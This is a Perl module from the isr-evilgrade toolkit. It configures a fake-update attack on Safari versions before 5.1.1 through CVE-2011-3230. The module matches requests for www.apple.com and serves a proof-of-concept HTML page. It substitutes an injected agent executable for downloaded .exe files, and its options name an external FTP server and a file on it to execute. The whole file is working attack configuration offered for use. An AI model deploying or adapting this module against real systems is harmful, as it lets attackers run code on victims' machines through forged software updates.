############### # safari.pm # # Copyright 2010 Francisco Amato # # This file is part of isr-evilgrade, www.infobytesec.com . # # isr-evilgrade is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation version 2 of the License. # # isr-evilgrade is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with isr-evilgrade; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA # # ''' ## package modules::safari; use strict; use Data::Dump qw(dump); use isrcore::utils; my $base= { 'name' => 'Safari', 'version' => '1.0', 'appver' => '< 5.1.1', 'author' => [ 'Francisco Amato < famato +[AT]+ infobytesec.com>' ], 'description' => qq{This module is used to inject evil updates at safari using the vulnerability CVE-2011-3230 discovered by Aaron Sigel}, 'vh' => '(www.apple.com)', 'request' => [ { 'req' => '(safari)', #regex friendly #10.0 'type' => 'file', #file|string|agent|install 'method' => '', #any 'bin' => 0, 'string' => "", 'parse' => 1, 'file' => './include/safari/ISR-safaripoc.html', }, { 'req' => '.exe', #regex friendly 'type' => 'agent', #file|string|agent|install 'method' => '', #any 'bin' => 1, 'string' => '', 'parse' => 0, 'file' => '' }, ], #Options 'options' => { 'agent' => { 'val' => './agent/agent.exe', 'desc' => 'Agent to inject'}, 'enable' => { 'val' => 1, 'desc' => 'Status'}, 'server' => { 'val' => 'ftp://anonymous:xfdsfsdf@ftp.openvz.org/', 'desc' => 'Ftp server'}, 'file' => { 'val' => '/Volumes/ftp.openvz.org/doc/openvz-intro.pdf', 'desc' => 'File to execute'}, 'rnd1' => { 'val' => 'isrcore::utils::RndNum(5)', 'hidden' => 1, 'dynamic' =>1, } } }; ########################################################################## # FUNCTION new # RECEIVES # RETURNS # EXPECTS # DOES class's constructor sub new { my $class = shift; my $self = { 'Base' => $base, @_ }; return bless $self, $class; } 1;